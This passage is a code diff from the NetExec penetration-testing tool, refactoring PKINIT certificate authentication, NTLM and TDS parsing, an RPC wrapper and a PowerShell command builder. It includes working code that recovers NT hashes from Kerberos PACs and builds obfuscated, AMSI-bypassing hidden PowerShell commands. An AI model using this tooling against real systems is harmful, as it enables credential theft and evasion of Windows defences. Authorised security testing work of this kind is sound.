nxc_logger.highlight(colored(f"{category.name}", color, attrs=["bold"]))
|
||||
for name, props in sorted(modules.items()):
|
||||
if props["category"] == category:
|
||||
nxc_logger.display(f"{name:<25} {props['description']}")
|
||||
|
||||
|
||||
class CATEGORY(Enum):
|
||||
ENUMERATION = "Enumeration"
|
||||
CREDENTIAL_DUMPING = "Credential Dumping"
|
||||
PRIVILEGE_ESCALATION = "Privilege Escalation"
|
||||
@@ -0,0 +1,92 @@
|
||||
# Parsing helpers for auth negotiation: NTLM challenges and TDS ERROR/INFO on MSSQL LOGIN7.
|
||||
# Original NTLM parsing from: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
from impacket.tds import TDS_ERROR_TOKEN, TDS_INFO_TOKEN, TDS_INFO_ERROR
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
|
||||
|
||||
def decode_tds_info_error_msgtext(data, offset):
|
||||
"""Extract MsgText from a TDS ERROR (0xAA) or INFO (0xAB) token at *offset*.
|
||||
|
||||
Official spec: [MS-TDS] Tabular Data Stream Protocol (Microsoft Learn).
|
||||
Token layout per MS-TDS 2.2.7.9 (INFO) / 2.2.7.10 (ERROR):
|
||||
TokenType BYTE 0xAA | 0xAB
|
||||
Length USHORT LE byte count of the remaining fields
|
||||
Number LONG LE error / info number
|
||||
State BYTE
|
||||
Class BYTE severity
|
||||
MsgText US_VARCHAR (2-byte LE length prefix + UTF-16LE)
|
||||
... (ServerName, ProcName, LineNumber follow but are unused here)
|
||||
|
||||
The minimum *Length* value for a valid token is 8: Number(4) + State(1) +
|
||||
Class(1) + MsgText length prefix(2, may be zero-length string).
|
||||
|
||||
References (Microsoft Learn, MS-TDS):
|
||||
INFO: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/284bb815-d083-4ed5-b33a-bdc2492e322b
|
||||
ERROR: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/9805e9fa-1f8b-4cf8-8f78-8d2602228635
|
||||
Data packet stream tokens: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/f79bb5b8-5919-439a-a696-48064b78b091
|
||||
"""
|
||||
remaining = len(data) - offset
|
||||
if remaining < 3 or data[offset] not in (TDS_ERROR_TOKEN, TDS_INFO_TOKEN):
|
||||
return None
|
||||
|
||||
# Length (USHORT LE) after TokenType, see MS-TDS INFO/ERROR links in docstring
|
||||
payload_len = int.from_bytes(data[offset + 1 : offset + 3], "little")
|
||||
|
||||
if payload_len < 8 or remaining < 3 + payload_len:
|
||||
return None
|
||||
try:
|
||||
token = TDS_INFO_ERROR(data[offset:])
|
||||
text = token["MsgText"].decode("utf-16le").strip()
|
||||
except Exception:
|
||||
return None
|
||||
return text or None
|
||||
|
||||
|
||||
def login7_integrated_auth_error_message(packet_data, data_after_login_header):
|
||||
"""Scan raw LOGIN7 response buffers for the first ERROR/INFO message.
|
||||
|
||||
When a server does not support Integrated Windows Authentication it replies
|
||||
to the LOGIN7 NTLMSSP negotiate with a TDS error token instead of an
|
||||
NTLMSSP challenge. This helper locates the first ERROR (0xAA) or INFO
|
||||
(0xAB) token in either the full packet or the payload after the 3-byte
|
||||
LOGIN7 response header and returns its MsgText.
|
||||
"""
|
||||
token_markers = (TDS_ERROR_TOKEN, TDS_INFO_TOKEN)
|
||||
for buf in filter(None, (packet_data, data_after_login_header)):
|
||||
for offset in (i for i in range(len(buf)) if buf[i] in token_markers):
|
||||
msg = decode_tds_info_error_msgtext(buf, offset)
|
||||
if msg:
|
||||
return msg
|
||||
return None
|
||||
@@ -1,34 +0,0 @@
|
||||
# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
|
||||
|
||||
import struct
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
import contextlib
|
||||
|
||||
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
challange = ntlm.NTLMAuthChallenge(challange)
|
||||
av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
if "Version" in challange.fields:
|
||||
version = challange["Version"]
|
||||
if len(version) >= 4:
|
||||
major_version = version[0]
|
||||
minor_version = version[1]
|
||||
product_build = struct.unpack("<H", version[2:4])[0]
|
||||
if product_build in WIN_VERSIONS:
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
@@ -0,0 +1,13 @@
|
||||
from pathlib import PurePosixPath
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
"""Strip path traversal components from an SMB filename.
|
||||
|
||||
Follows the pattern from spider_plus.py — filters '..' and '.' from
|
||||
PurePosixPath.parts to prevent directory traversal attacks from
|
||||
malicious SMB servers.
|
||||
"""
|
||||
parts = PurePosixPath(name.replace("\\", "/")).parts
|
||||
clean = [p for p in parts if p not in ("..", ".", "/")]
|
||||
return str(PurePosixPath(*clean)) if clean else ""
|
||||
+100
-68
@@ -30,25 +30,26 @@ import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import logging
|
||||
import random
|
||||
import base64
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
from asn1crypto import x509
|
||||
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.dirtydh import DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
|
||||
PA_PAC_REQUEST
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
@@ -70,14 +71,47 @@ from minikerberos.common.ccache import CCACHE
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
def _load_asn1_certificate(data):
|
||||
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
|
||||
|
||||
The certificate is parsed by cryptography and re-encoded, so that malformed input is
|
||||
rejected here instead of failing later inside asn1crypto, which parses lazily
|
||||
"""
|
||||
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
|
||||
return _to_asn1_certificate(cert)
|
||||
|
||||
|
||||
def _to_asn1_certificate(cert):
|
||||
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
|
||||
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
|
||||
|
||||
|
||||
def _check_rsa_privkey(privkey):
|
||||
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
|
||||
if not isinstance(privkey, rsa.RSAPrivateKey):
|
||||
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
|
||||
return privkey
|
||||
|
||||
|
||||
class myPKINIT:
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
|
||||
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
|
||||
which fails at import time on any OpenSSL whose version has a two digit component
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.privkey = None
|
||||
self.certificate = None
|
||||
self.issuer = None
|
||||
self.cname = None
|
||||
self.diffie = None
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
@@ -91,26 +125,17 @@ class myPKINIT(PKINIT):
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
# cryptography requires None (not an empty password) for a pfx without password
|
||||
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
|
||||
# a pfx holding only a certificate parses fine, so check the key before the certificate
|
||||
if privkey is None:
|
||||
raise Exception("No private key found in the PFX file")
|
||||
if cert is None:
|
||||
raise Exception("No certificate found in the PFX file")
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.certificate = _to_asn1_certificate(cert)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@@ -118,9 +143,18 @@ class myPKINIT(PKINIT):
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
pkinit.certificate = _load_asn1_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
keydata = f.read()
|
||||
try:
|
||||
try:
|
||||
privkey = serialization.load_pem_private_key(keydata, password=None)
|
||||
except ValueError:
|
||||
privkey = serialization.load_der_private_key(keydata, password=None)
|
||||
except TypeError as e:
|
||||
# raised by both loaders when the key is encrypted and no password was given
|
||||
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@@ -130,8 +164,8 @@ class myPKINIT(PKINIT):
|
||||
def setup(self, dh_params=None):
|
||||
self.issuer = self.certificate.issuer.native["common_name"]
|
||||
if dh_params is None:
|
||||
print("Generating DH params...")
|
||||
print("DH params generated.")
|
||||
nxc_logger.display("Generating DH params...")
|
||||
nxc_logger.display("DH params generated.")
|
||||
else:
|
||||
if isinstance(dh_params, dict):
|
||||
self.diffie = DirtyDH.from_dict(dh_params)
|
||||
@@ -238,7 +272,7 @@ class myPKINIT(PKINIT):
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
@@ -304,8 +338,8 @@ class myPKINIT(PKINIT):
|
||||
|
||||
key = Key(cipher.enctype, t_key)
|
||||
enc_data = as_rep["enc-part"]["cipher"]
|
||||
logging.info("AS-REP encryption key (you might need this later):")
|
||||
logging.info(hexlify(t_key).decode("utf-8"))
|
||||
nxc_logger.info("AS-REP encryption key (you might need this later):")
|
||||
nxc_logger.info(hexlify(t_key).decode("utf-8"))
|
||||
dec_data = cipher.decrypt(key, 3, enc_data)
|
||||
encasrep = EncASRepPart.load(dec_data).native
|
||||
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
|
||||
@@ -327,34 +361,27 @@ class GETPAC:
|
||||
for _bufferN in range(pacType["cBuffers"]):
|
||||
infoBuffer = PAC_INFO_BUFFER(buff)
|
||||
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
print("TYPE 0x%x" % infoBuffer["ulType"])
|
||||
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
|
||||
if infoBuffer["ulType"] == 2:
|
||||
found = True
|
||||
credinfo = PAC_CREDENTIAL_INFO(data)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credinfo.dump()
|
||||
newCipher = _enctype_table[credinfo["EncryptionType"]]
|
||||
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
|
||||
type1 = TypeSerialization1(out)
|
||||
# I'm skipping here 4 bytes with its the ReferentID for the pointer
|
||||
newdata = out[len(type1) + 4:]
|
||||
pcc = PAC_CREDENTIAL_DATA(newdata)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
pcc.dump()
|
||||
for cred in pcc["Credentials"]:
|
||||
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
credstruct.dump()
|
||||
|
||||
logging.info("Recovered NT Hash")
|
||||
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nxc_logger.info("Recovered NT Hash")
|
||||
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
|
||||
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
|
||||
|
||||
buff = buff[len(infoBuffer):]
|
||||
|
||||
if not found:
|
||||
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
|
||||
return nthash
|
||||
|
||||
def __init__(self, username, domain, kdcHost, key, tgt):
|
||||
@@ -399,10 +426,8 @@ class GETPAC:
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("AUTHENTICATOR")
|
||||
print(authenticator.prettyPrint())
|
||||
print("\n")
|
||||
nxc_logger.debug("AUTHENTICATOR")
|
||||
nxc_logger.debug(authenticator.prettyPrint() + "\n")
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
@@ -452,23 +477,18 @@ class GETPAC:
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("Final TGS")
|
||||
print(tgsReq.prettyPrint())
|
||||
nxc_logger.debug("Final TGS")
|
||||
nxc_logger.debug(tgsReq.prettyPrint())
|
||||
|
||||
message = encoder.encode(tgsReq)
|
||||
logging.info("Requesting ticket to self with PAC")
|
||||
nxc_logger.info("Requesting ticket to self with PAC")
|
||||
|
||||
r = sendReceive(message, self.__domain, self.__kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug("TGS_REP")
|
||||
print(tgs.prettyPrint())
|
||||
nxc_logger.debug("TGS_REP")
|
||||
nxc_logger.debug(tgs.prettyPrint())
|
||||
|
||||
cipherText = tgs["ticket"]["enc-part"]["cipher"]
|
||||
|
||||
@@ -493,22 +513,34 @@ def pfx_auth(self):
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
try:
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
|
||||
username = self.args.username[0]
|
||||
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{basename}"))
|
||||
|
||||
# Request a TGT with the cert data
|
||||
req = ini.build_asreq(self.domain, username)
|
||||
self.logger.info("Requesting TGT")
|
||||
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
|
||||
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
|
||||
try:
|
||||
res = sock.sendrecv(req)
|
||||
|
||||
+10
-23
@@ -12,6 +12,7 @@ import random
|
||||
|
||||
obfuscate_ps_scripts = False
|
||||
|
||||
|
||||
def replace_singles(s):
|
||||
"""Replaces single quotes with a double quote
|
||||
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
|
||||
@@ -27,6 +28,7 @@ def replace_singles(s):
|
||||
"""
|
||||
return s.replace("'", r"\"")
|
||||
|
||||
|
||||
def get_ps_script(path):
|
||||
"""Generates a full path to a PowerShell script given a relative path.
|
||||
|
||||
@@ -56,19 +58,6 @@ def encode_ps_command(command):
|
||||
return b64encode(command.encode("UTF-16LE")).decode()
|
||||
|
||||
|
||||
def is_powershell_installed():
|
||||
"""
|
||||
Check if PowerShell is installed.
|
||||
|
||||
Returns
|
||||
-------
|
||||
bool: True if PowerShell is installed, False otherwise.
|
||||
"""
|
||||
if which("powershell"):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def obfs_ps_script(path_to_script):
|
||||
"""
|
||||
Obfuscates a PowerShell script.
|
||||
@@ -90,7 +79,7 @@ def obfs_ps_script(path_to_script):
|
||||
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
|
||||
|
||||
if is_powershell_installed() and obfuscate_ps_scripts:
|
||||
if bool(which("powershell")) and obfuscate_ps_scripts:
|
||||
if os.path.exists(obfs_ps_script):
|
||||
nxc_logger.display("Using cached obfuscated Powershell script")
|
||||
with open(obfs_ps_script) as script:
|
||||
@@ -116,12 +105,11 @@ def obfs_ps_script(path_to_script):
|
||||
and debug statements from a PowerShell source file.
|
||||
"""
|
||||
# strip block comments
|
||||
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
|
||||
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
|
||||
|
||||
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
|
||||
"""
|
||||
Generates a PowerShell command based on the provided `ps_command` parameter.
|
||||
@@ -139,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
str: The generated PowerShell command.
|
||||
"""
|
||||
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
|
||||
|
||||
|
||||
if custom_amsi:
|
||||
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
|
||||
with open(custom_amsi) as file_in:
|
||||
@@ -149,12 +137,12 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
amsi_bypass = ""
|
||||
|
||||
# for readability purposes, we do not do a one-liner
|
||||
if force_ps32: # noqa: SIM108
|
||||
if force_ps32:
|
||||
# https://stackoverflow.com/a/60155248
|
||||
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
|
||||
else:
|
||||
command = f"{amsi_bypass} {ps_command}"
|
||||
|
||||
|
||||
nxc_logger.debug(f"Generated PS command:\n {command}\n")
|
||||
|
||||
if obfs:
|
||||
@@ -163,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
while True:
|
||||
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
|
||||
obfs_command = invoke_obfuscation(command)
|
||||
|
||||
|
||||
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
|
||||
if len(command) <= 8191:
|
||||
break
|
||||
@@ -176,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
|
||||
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
|
||||
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
|
||||
command = f"powershell.exe -noni -nop -w 1 {command}"
|
||||
|
||||
|
||||
if len(command) > 8191:
|
||||
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
|
||||
exit(1)
|
||||
|
||||
|
||||
nxc_logger.debug(f"Final command: {command}")
|
||||
return command
|
||||
|
||||
@@ -429,4 +417,3 @@ def invoke_obfuscation(script_string):
|
||||
obfuscated_script = choice(invoke_options)
|
||||
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
|
||||
return obfuscated_script
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
import contextlib
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class NXCRPCConnection:
|
||||
"""
|
||||
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
|
||||
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
|
||||
"""
|
||||
def __init__(self, connection, force_tcp=False):
|
||||
self.connection = connection
|
||||
self.force_tcp = force_tcp
|
||||
self.dce = None
|
||||
self.rpc_transport = None
|
||||
|
||||
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
|
||||
if string_binding is not None:
|
||||
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
|
||||
elif self.force_tcp:
|
||||
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
|
||||
else:
|
||||
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
|
||||
|
||||
self.dce = self.rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.connection.kerberos and not anonymous_rpc:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
self.dce.connect()
|
||||
|
||||
if auth_level is not None:
|
||||
self.dce.set_auth_level(auth_level)
|
||||
|
||||
self.dce.bind(interface_uuid)
|
||||
return self.dce
|
||||
|
||||
def disconnect(self):
|
||||
if self.dce:
|
||||
with contextlib.suppress(Exception):
|
||||
self.dce.disconnect()
|
||||
self.dce = None
|
||||
|
||||
@property
|
||||
def transport(self):
|
||||
return self.rpc_transport
|
||||
|
||||
def get_smb_connection(self):
|
||||
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
|
||||
return self.rpc_transport.get_smb_connection()
|
||||
return None
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||
self.disconnect()
|
||||
return False
|
||||
|
||||
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
if anonymous_rpc:
|
||||
rpc_transport.set_credentials("", "", "", "", "", "")
|
||||
rpc_transport.set_kerberos(False, None)
|
||||
else:
|
||||
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
|
||||
if conn.kerberos:
|
||||
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
|
||||
|
||||
def create_smb_transport(self, named_pipe, target_ip=None):
|
||||
conn = self.connection
|
||||
|
||||
# Create a new SMB conn if we don't have one already or
|
||||
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
|
||||
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
|
||||
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
|
||||
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
|
||||
if target_ip or conn.host:
|
||||
rpc_transport.setRemoteHost(target_ip or conn.host)
|
||||
return rpc_transport
|
||||
|
||||
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
target = target_ip or conn.remoteName
|
||||
|
||||
